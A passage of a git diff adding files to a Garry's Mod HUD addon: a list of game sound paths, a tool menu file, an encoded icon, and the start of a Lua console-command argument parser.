+vo/sword_idle10.wav +vo/sword_idle11.wav +vo/sword_idle12.wav +vo/sword_idle13.wav +vo/sword_idle14.wav +vo/sword_idle15.wav +vo/test_one.wav +vo/test_two.wav +vo/taunts/demoman_taunts01.wav +vo/taunts/demoman_taunts02.wav +vo/taunts/demoman_taunts03.wav +vo/taunts/demoman_taunts04.wav +vo/taunts/demoman_taunts05.wav +vo/taunts/demoman_taunts06.wav +vo/taunts/demoman_taunts07.wav +vo/taunts/demoman_taunts08.wav +vo/taunts/demoman_taunts09.wav +vo/taunts/demoman_taunts10.wav +vo/taunts/demoman_taunts11.wav +vo/taunts/demoman_taunts12.wav +vo/taunts/demoman_taunts13.wav +vo/taunts/demoman_taunts14.wav +vo/taunts/demoman_taunts15.wav +vo/taunts/demoman_taunts16.wav +vo/taunts/engineer_taunts01.wav +vo/taunts/engineer_taunts02.wav +vo/taunts/engineer_taunts03.wav +vo/taunts/engineer_taunts04.wav +vo/taunts/engineer_taunts05.wav +vo/taunts/engineer_taunts06.wav +vo/taunts/engineer_taunts08.wav +vo/taunts/engineer_taunts09.wav +vo/taunts/engineer_taunts10.wav +vo/taunts/engineer_taunts11.wav +vo/taunts/engineer_taunts12.wav +vo/taunts/heavy_taunts01.wav +vo/taunts/heavy_taunts02.wav +vo/taunts/heavy_taunts03.wav +vo/taunts/heavy_taunts04.wav +vo/taunts/heavy_taunts05.wav +vo/taunts/heavy_taunts06.wav +vo/taunts/heavy_taunts07.wav +vo/taunts/heavy_taunts08.wav +vo/taunts/heavy_taunts09.wav +vo/taunts/heavy_taunts10.wav +vo/taunts/heavy_taunts11.wav +vo/taunts/heavy_taunts12.wav +vo/taunts/heavy_taunts13.wav +vo/taunts/heavy_taunts14.wav +vo/taunts/heavy_taunts15.wav +vo/taunts/heavy_taunts16.wav +vo/taunts/heavy_taunts17.wav +vo/taunts/heavy_taunts18.wav +vo/taunts/heavy_taunts19.wav +vo/taunts/medic_taunts01.wav +vo/taunts/medic_taunts02.wav +vo/taunts/medic_taunts03.wav +vo/taunts/medic_taunts04.wav +vo/taunts/medic_taunts05.wav +vo/taunts/medic_taunts06.wav +vo/taunts/medic_taunts07.wav +vo/taunts/medic_taunts08.wav +vo/taunts/medic_taunts09.wav +vo/taunts/medic_taunts10.wav +vo/taunts/medic_taunts11.wav +vo/taunts/medic_taunts12.wav +vo/taunts/medic_taunts13.wav +vo/taunts/medic_taunts14.wav +vo/taunts/medic_taunts15.wav +vo/taunts/medic_taunts16.wav +vo/taunts/pyro_taunts01.wav +vo/taunts/pyro_taunts02.wav +vo/taunts/pyro_taunts03.wav +vo/taunts/pyro_taunts04.wav +vo/taunts/scout_taunts01.wav +vo/taunts/scout_taunts02.wav +vo/taunts/scout_taunts03.wav +vo/taunts/scout_taunts04.wav +vo/taunts/scout_taunts05.wav +vo/taunts/scout_taunts06.wav +vo/taunts/scout_taunts07.wav +vo/taunts/scout_taunts08.wav +vo/taunts/scout_taunts09.wav +vo/taunts/scout_taunts10.wav +vo/taunts/scout_taunts11.wav +vo/taunts/scout_taunts12.wav +vo/taunts/scout_taunts13.wav +vo/taunts/scout_taunts14.wav +vo/taunts/scout_taunts15.wav +vo/taunts/scout_taunts16.wav +vo/taunts/scout_taunts17.wav +vo/taunts/scout_taunts18.wav +vo/taunts/sniper_taunts01.wav +vo/taunts/sniper_taunts02.wav +vo/taunts/sniper_taunts03.wav +vo/taunts/sniper_taunts04.wav +vo/taunts/sniper_taunts05.wav +vo/taunts/sniper_taunts06.wav +vo/taunts/sniper_taunts07.wav +vo/taunts/sniper_taunts08.wav +vo/taunts/sniper_taunts09.wav +vo/taunts/sniper_taunts10.wav +vo/taunts/sniper_taunts11.wav +vo/taunts/sniper_taunts12.wav +vo/taunts/sniper_taunts13.wav +vo/taunts/sniper_taunts14.wav +vo/taunts/sniper_taunts15.wav +vo/taunts/sniper_taunts16.wav +vo/taunts/sniper_taunts17.wav +vo/taunts/sniper_taunts18.wav +vo/taunts/sniper_taunts19.wav +vo/taunts/sniper_taunts20.wav +vo/taunts/sniper_taunts21.wav +vo/taunts/sniper_taunts22.wav +vo/taunts/sniper_taunts23.wav +vo/taunts/sniper_taunts24.wav +vo/taunts/sniper_taunts25.wav +vo/taunts/sniper_taunts26.wav +vo/taunts/sniper_taunts27.wav +vo/taunts/sniper_taunts28.wav +vo/taunts/sniper_taunts29.wav +vo/taunts/sniper_taunts30.wav +vo/taunts/sniper_taunts31.wav +vo/taunts/sniper_taunts32.wav +vo/taunts/sniper_taunts33.wav +vo/taunts/sniper_taunts34.wav +vo/taunts/sniper_taunts35.wav +vo/taunts/sniper_taunts36.wav +vo/taunts/sniper_taunts37.wav +vo/taunts/sniper_taunts38.wav +vo/taunts/sniper_taunts39.wav +vo/taunts/sniper_taunts40.wav +vo/taunts/sniper_taunts41.wav +vo/taunts/sniper_taunts42.wav +vo/taunts/sniper_taunts43.wav +vo/taunts/sniper_taunts44.wav +vo/taunts/sniper_taunts45.wav +vo/taunts/sniper_taunts46.wav +vo/taunts/soldier_taunts01.wav +vo/taunts/soldier_taunts02.wav +vo/taunts/soldier_taunts03.wav +vo/taunts/soldier_taunts04.wav +vo/taunts/soldier_taunts05.wav +vo/taunts/soldier_taunts06.wav +vo/taunts/soldier_taunts07.wav +vo/taunts/soldier_taunts08.wav +vo/taunts/soldier_taunts09.wav +vo/taunts/soldier_taunts10.wav +vo/taunts/soldier_taunts11.wav +vo/taunts/soldier_taunts12.wav +vo/taunts/soldier_taunts13.wav +vo/taunts/soldier_taunts14.wav +vo/taunts/soldier_taunts15.wav +vo/taunts/soldier_taunts16.wav +vo/taunts/soldier_taunts17.wav +vo/taunts/soldier_taunts18.wav +vo/taunts/soldier_taunts19.wav +vo/taunts/soldier_taunts20.wav +vo/taunts/soldier_taunts21.wav +vo/taunts/spy_taunts01.wav +vo/taunts/spy_taunts02.wav +vo/taunts/spy_taunts03.wav +vo/taunts/spy_taunts04.wav +vo/taunts/spy_taunts05.wav +vo/taunts/spy_taunts06.wav +vo/taunts/spy_taunts07.wav +vo/taunts/spy_taunts08.wav +vo/taunts/spy_taunts09.wav +vo/taunts/spy_taunts10.wav +vo/taunts/spy_taunts11.wav +vo/taunts/spy_taunts12.wav +vo/taunts/spy_taunts13.wav +vo/taunts/spy_taunts14.wav +vo/taunts/spy_taunts15.wav +vo/taunts/spy_taunts16.wav +weapons/ambassador_shoot.wav +weapons/ambassador_shoot_crit.wav +weapons/axe_hit_flesh1.wav +weapons/axe_hit_flesh2.wav +weapons/axe_hit_flesh3.wav +weapons/baseball_hitworld1.wav +weapons/baseball_hitworld2.wav +weapons/baseball_hitworld3.wav +weapons/bat_baseball_hit1.wav +weapons/bat_baseball_hit2.wav +weapons/bat_baseball_hit_flesh.wav +weapons/bat_baseball_hit_world1.wav +weapons/bat_baseball_hit_world2.wav +weapons/bat_draw.wav +weapons/bat_draw_swoosh1.wav +weapons/bat_draw_swoosh2.wav +weapons/bat_hit.wav +weapons/blade_hit1.wav +weapons/blade_hit2.wav +weapons/blade_hit3.wav +weapons/blade_hit4.wav +weapons/blade_hitworld.wav +weapons/blade_slice_2.wav +weapons/blade_slice_3.wav +weapons/blade_slice_4.wav +weapons/bottle_break.wav +weapons/bottle_broken_hit_flesh1.wav +weapons/bottle_broken_hit_flesh2.wav +weapons/bottle_broken_hit_flesh3.wav +weapons/bottle_broken_hit_world1.wav +weapons/bottle_broken_hit_world2.wav +weapons/bottle_broken_hit_world3.wav +weapons/bottle_hit1.wav +weapons/bottle_hit2.wav +weapons/bottle_hit3.wav +weapons/bottle_hit_flesh1.wav +weapons/bottle_hit_flesh2.wav +weapons/bottle_hit_flesh3.wav +weapons/bottle_intact_hit_flesh1.wav +weapons/bottle_intact_hit_flesh2.wav +weapons/bottle_intact_hit_flesh3.wav +weapons/bottle_intact_hit_world1.wav +weapons/bottle_intact_hit_world2.wav +weapons/bow_arrow_slide.wav +weapons/bow_shoot.wav +weapons/bow_shoot_crit.wav +weapons/bow_shoot_pull.wav +weapons/bow_shoot_pull_reverse.wav +weapons/bow_shoot_pull_short.wav +weapons/boxing_gloves_crit_enabled.wav +weapons/boxing_gloves_hit.wav +weapons/boxing_gloves_hit1.wav +weapons/boxing_gloves_hit2.wav +weapons/boxing_gloves_hit3.wav +weapons/boxing_gloves_hit4.wav +weapons/boxing_gloves_hit_crit1.wav +weapons/boxing_gloves_hit_crit2.wav +weapons/boxing_gloves_hit_crit3.wav +weapons/boxing_gloves_swing1.wav +weapons/boxing_gloves_swing2.wav +weapons/boxing_gloves_swing4.wav +weapons/boxing_gloves_swing5.wav +weapons/buffed_off.wav +weapons/buffed_on.wav +weapons/buff_banner_flag.wav +weapons/buff_banner_horn_blue.wav +weapons/buff_banner_horn_red.wav +weapons/cbar_hit1.wav +weapons/cbar_hit2.wav +weapons/cbar_hitbod1.wav +weapons/cbar_hitbod2.wav +weapons/cbar_hitbod3.wav +weapons/cbar_miss1.wav +weapons/cbar_miss1_crit.wav +weapons/debris2.wav +weapons/debris4.wav +weapons/default_reload.wav +weapons/demo_charge_hit_flesh1.wav +weapons/demo_charge_hit_flesh2.wav +weapons/demo_charge_hit_flesh3.wav +weapons/demo_charge_hit_flesh_range1.wav +weapons/demo_charge_hit_flesh_range2.wav +weapons/demo_charge_hit_flesh_range3.wav +weapons/demo_charge_hit_world1.wav +weapons/demo_charge_hit_world2.wav +weapons/demo_charge_hit_world3.wav +weapons/demo_charge_windup1.wav +weapons/demo_charge_windup2.wav +weapons/demo_charge_windup3.wav +weapons/demo_sword_hit_world1.wav +weapons/demo_sword_hit_world2.wav +weapons/demo_sword_swing1.wav +weapons/demo_sword_swing2.wav +weapons/demo_sword_swing3.wav +weapons/demo_sword_swing_crit.wav +weapons/det_pack_timer.wav +weapons/dispenser_bullet_chain.wav +weapons/dispenser_bullet_chain2.wav +weapons/dispenser_explode.wav +weapons/dispenser_generate_metal.wav +weapons/dispenser_heal.wav +weapons/dispenser_idle.wav +weapons/draw_bow.wav +weapons/draw_default.wav +weapons/draw_jarate.wav +weapons/draw_machete_sniper.wav +weapons/draw_melee.wav +weapons/draw_minigun_heavy.wav +weapons/draw_pda_antennae.wav +weapons/draw_pda_engineer.wav +weapons/draw_pda_spy.wav +weapons/draw_pistol_engineer.wav +weapons/draw_primary.wav +weapons/draw_sapper_switch.wav +weapons/draw_secondary.wav +weapons/draw_shotgun_pyro.wav +weapons/draw_shovel_soldier.wav +weapons/draw_sword.wav +weapons/draw_toolbox_engineer.wav +weapons/draw_wrench_engineer.wav +weapons/explode1.wav +weapons/explode2.wav +weapons/explode3.wav +weapons/fist_hit_world1.wav +weapons/fist_hit_world2.wav +weapons/fist_swing_crit.wav +weapons/flame_thrower_airblast.wav +weapons/flame_thrower_airblast_rocket_redirect.wav +weapons/flame_thrower_bb_end.wav +weapons/flame_thrower_bb_loop.wav +weapons/flame_thrower_bb_loop_crit.wav +weapons/flame_thrower_bb_start.wav +weapons/flame_thrower_end.wav +weapons/flame_thrower_fire_hit.wav +weapons/flame_thrower_loop.wav +weapons/flame_thrower_loop_crit.wav +weapons/flame_thrower_pilot.wav +weapons/flame_thrower_start.wav +weapons/flaregun_boltback.wav +weapons/flaregun_boltforward.wav +weapons/flaregun_impact_sentry.wav +weapons/flaregun_shoot.wav +weapons/flaregun_shoot_crit.wav +weapons/flaregun_tube_closefinish.wav +weapons/flaregun_tube_closestart.wav +weapons/flaregun_worldreload.wav +weapons/grenade_impact.wav +weapons/grenade_impact2.wav +weapons/grenade_impact3.wav +weapons/grenade_launcher_drum_close.wav +weapons/grenade_launcher_drum_load.wav +weapons/grenade_launcher_drum_open.wav +weapons/grenade_launcher_drum_start.wav +weapons/grenade_launcher_drum_stop.wav +weapons/grenade_launcher_shoot.wav +weapons/grenade_launcher_shoot_crit.wav +weapons/grenade_launcher_worldreload.wav +weapons/grenade_throw.wav +weapons/jar_explode.wav +weapons/jar_single.wav +weapons/knife_open1.wav +weapons/knife_open2.wav +weapons/knife_open3.wav +weapons/knife_open4.wav +weapons/knife_open5.wav +weapons/knife_open6.wav +weapons/knife_open7.wav +weapons/knife_open8.wav +weapons/knife_swing.wav +weapons/knife_swing_crit.wav +weapons/machete_swing.wav +weapons/machete_swing_crit.wav +weapons/medigun_charged.wav +weapons/medigun_heal.wav +weapons/medigun_no_target.wav +weapons/metal_hit_hand1.wav +weapons/metal_hit_hand2.wav +weapons/metal_hit_hand3.wav +weapons/minifun_empty.wav +weapons/minifun_shoot.wav +weapons/minifun_shoot_crit.wav +weapons/minifun_spin.wav +weapons/minifun_wind_down.wav +weapons/minifun_wind_up.wav +weapons/minigun_empty.wav +weapons/minigun_shoot.wav +weapons/minigun_shoot_crit.wav +weapons/minigun_spin.wav +weapons/minigun_wind_down.wav +weapons/minigun_wind_up.wav +weapons/pickaxe_swing1.wav +weapons/pickaxe_swing2.wav +weapons/pickaxe_swing3.wav +weapons/pickaxe_swing_crit.wav +weapons/pipe_bomb1.wav +weapons/pipe_bomb2.wav +weapons/pipe_bomb3.wav +weapons/pistol_clipin.wav +weapons/pistol_reload_scout.wav +weapons/pistol_shoot.wav +weapons/pistol_shoot_crit.wav +weapons/pistol_worldreload.wav +weapons/revolver_reload_cylinder_arm.wav +weapons/revolver_reload_cylinder_close.wav +weapons/revolver_reload_cylinder_open.wav +weapons/revolver_shoot.wav +weapons/revolver_shoot_crit.wav +weapons/revolver_worldreload.wav +weapons/rocket_directhit_explode1.wav +weapons/rocket_directhit_explode2.wav +weapons/rocket_directhit_explode3.wav +weapons/rocket_directhit_shoot.wav +weapons/rocket_directhit_shoot_crit.wav +weapons/rocket_reload.wav +weapons/rocket_shoot.wav +weapons/rocket_shoot_crit.wav +weapons/sapper_plant.wav +weapons/sapper_removed.wav +weapons/sapper_timer.wav +weapons/scatter_gun_double_shells_in.wav +weapons/scatter_gun_double_shells_out.wav +weapons/scatter_gun_double_shoot.wav +weapons/scatter_gun_double_shoot_crit.wav +weapons/scatter_gun_double_tube_close.wav +weapons/scatter_gun_double_tube_open.wav +weapons/scatter_gun_reload.wav +weapons/scatter_gun_shoot.wav +weapons/scatter_gun_shoot_crit.wav +weapons/scatter_gun_worldreload.wav +weapons/scout_dodge.wav +weapons/sentry_damage1.wav +weapons/sentry_damage2.wav +weapons/sentry_damage3.wav +weapons/sentry_damage4.wav +weapons/sentry_empty.wav +weapons/sentry_explode.wav +weapons/sentry_finish.wav +weapons/sentry_move_long1.wav +weapons/sentry_move_long2.wav +weapons/sentry_move_medium1.wav +weapons/sentry_move_medium2.wav +weapons/sentry_move_medium3.wav +weapons/sentry_move_short1.wav +weapons/sentry_move_short2.wav +weapons/sentry_rocket.wav +weapons/sentry_scan.wav +weapons/sentry_scan2.wav +weapons/sentry_scan3.wav +weapons/sentry_shoot.wav +weapons/sentry_shoot2.wav +weapons/sentry_shoot3.wav +weapons/sentry_spot.wav +weapons/sentry_spot_client.wav +weapons/sentry_upgrading1.wav +weapons/sentry_upgrading2.wav +weapons/sentry_upgrading3.wav +weapons/sentry_upgrading4.wav +weapons/sentry_upgrading5.wav +weapons/sentry_upgrading6.wav +weapons/sentry_upgrading7.wav +weapons/sentry_upgrading8.wav +weapons/sentry_upgrading_steam1.wav +weapons/sentry_upgrading_steam2.wav +weapons/sentry_upgrading_steam3.wav +weapons/sentry_upgrading_steam4.wav +weapons/sentry_upgrading_steam5.wav +weapons/sentry_wire_connect.wav +weapons/shotgun_cock_back.wav +weapons/shotgun_cock_forward.wav +weapons/shotgun_empty.wav +weapons/shotgun_reload.wav +weapons/shotgun_shoot.wav +weapons/shotgun_shoot_crit.wav +weapons/shotgun_worldreload.wav +weapons/shovel_swing.wav +weapons/shovel_swing_crit.wav +weapons/smg_clip_in.wav +weapons/smg_clip_out.wav +weapons/smg_shoot.wav +weapons/smg_shoot_crit.wav +weapons/smg_worldreload.wav +weapons/sniper_bolt_back.wav +weapons/sniper_bolt_forward.wav +weapons/sniper_shoot.wav +weapons/sniper_shoot_crit.wav +weapons/sniper_worldreload.wav +weapons/stickybomblauncher_boltback.wav +weapons/stickybomblauncher_boltforward.wav +weapons/stickybomblauncher_charge_up.wav +weapons/stickybomblauncher_det.wav +weapons/stickybomblauncher_shoot.wav +weapons/stickybomblauncher_shoot_crit.wav +weapons/stickybomblauncher_worldreload.wav +weapons/syringegun_reload_air1.wav +weapons/syringegun_reload_air2.wav +weapons/syringegun_reload_glass2.wav +weapons/syringegun_shoot.wav +weapons/syringegun_shoot_crit.wav +weapons/syringegun_worldreload.wav +weapons/teleporter_build_open.wav +weapons/teleporter_build_open2.wav +weapons/teleporter_explode.wav +weapons/teleporter_ready.wav +weapons/teleporter_receive.wav +weapons/teleporter_send.wav +weapons/teleporter_spin.wav +weapons/teleporter_spin2.wav +weapons/teleporter_spin3.wav +weapons/ubersaw_hit1.wav +weapons/ubersaw_hit2.wav +weapons/ubersaw_hit3.wav +weapons/ubersaw_hit4.wav +weapons/weapon_crit_charged_off.wav +weapons/weapon_crit_charged_on.wav +weapons/wrench_hit_build_fail.wav +weapons/wrench_hit_build_success1.wav +weapons/wrench_hit_build_success2.wav +weapons/wrench_hit_world.wav +weapons/wrench_swing.wav +weapons/wrench_swing_crit.wav +weapons/fx/nearmiss/arrow_nearmiss.wav +weapons/fx/nearmiss/arrow_nearmiss2.wav +weapons/fx/nearmiss/arrow_nearmiss3.wav +weapons/fx/nearmiss/arrow_nearmiss4.wav +weapons/fx/nearmiss/bulletLtoR08.wav +weapons/fx/nearmiss/bulletLtoR09.wav +weapons/fx/nearmiss/bulletLtoR10.wav +weapons/fx/nearmiss/bulletLtoR11.wav +weapons/fx/nearmiss/bulletLtoR13.wav +weapons/fx/nearmiss/bulletLtoR14.wav +weapons/fx/rics/arrow_impact_concrete.wav +weapons/fx/rics/arrow_impact_concrete2.wav +weapons/fx/rics/arrow_impact_concrete4.wav +weapons/fx/rics/arrow_impact_flesh.wav +weapons/fx/rics/arrow_impact_flesh2.wav +weapons/fx/rics/arrow_impact_flesh3.wav +weapons/fx/rics/arrow_impact_flesh4.wav +weapons/fx/rics/arrow_impact_metal.wav +weapons/fx/rics/arrow_impact_metal2.wav +weapons/fx/rics/arrow_impact_metal4.wav +weapons/fx/rics/arrow_impact_wood.wav +weapons/fx/rics/arrow_impact_wood2.wav +weapons/fx/rics/arrow_impact_wood4.wav +weapons/fx/rics/ric1.wav +weapons/fx/rics/ric2.wav +weapons/fx/rics/ric3.wav +weapons/fx/rics/ric4.wav +weapons/fx/rics/ric5.wav \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt new file mode 100644 index 0000000..c0cceb7 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt @@ -0,0 +1,9 @@ +Title,Command +Easy Precision Tool,tool_easy_precision +Weld Tool,tool_weld +Remover Tool,tool_remover +No Collide Tool,tool_nocollide +Adv. Duplicator Tool,tool_adv_duplicator +Expression 2 Tool,tool_wire_expression2 +Wire Debugger Tool,tool_wire_debugger +Improved Wire Tool,tool_wire_improved \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/defaultlogo.ico b/Repos/HeXs_SaitoHUD-master/defaultlogo.ico new file mode 100644 index 0000000000000000000000000000000000000000..a39aa76f48f6b910671f1e796979017a8a4b6a47 GIT binary patch literal 10134 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 e+i~HpxD +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +--- Remove the empty (string) entries from a table. This modifies the table +-- in-place and returns it for convenience. +-- @param t +-- @return t +local function RemoveEmptyEntries(t) + if #t == 1 then return t end + + local i = 2 + while i <= #t do + if t[i]:Trim() == "" then + table.remove(t, i) + else + i = i + 1 + end + end + + return t +end + +SaitoHUD.VAR_CONCMD_GEOM_POINT = "VAR_CONCMD_GEOM_POINT" +SaitoHUD.VAR_CONCMD_GEOM_LINE = "VAR_CONCMD_GEOM_LINE" +SaitoHUD.VAR_CONCMD_ENTITY = "VAR_CONCMD_ENTITY" + +--- Parse a console command's arguments using a variable number of +-- arguments. +-- @param params Table containing parameter information +-- @param maxLeftOver Maximum number of free arguments to allow +-- @return Parsed variables +function SaitoHUD.ParseVarConcmd(args, params, maxLeftOver) + maxLeftOver = maxLeftOver or 0 + + local i = 1 + local result = {} + + for _, param in pairs(params) do + local name = param.Name + local type = param.Type + local wantedNumArgs = param.NumArgs or 1 + local cast = param.Cast + local optional = param.Optional + + -- Preprocessing + if type == SaitoHUD.VAR_CONCMD_GEOM_POINT then + if #args == 0 then + if not param.ImplicitTrace then + if optional then return result end + print("Insufficient number of arguments") + return + end + + local tr = SaitoHUD.GetRefTrace() + result[name] = tr.HitPos + elseif args[1]:sub(1, 1) == "#" then + local id = table.remove(args, 1):Trim():sub(2) + + if SaitoHUD.GEOM.Points[id] then + result[name] = SaitoHUD.GEOM.Points[id] + else + print(string.format("GEOM library: No point by name of '%s'", id)) + return + end + elseif args[1]:sub(1, 1) == "$" then + local id = table.remove(args, 1):Trim():sub(2) + local pt = 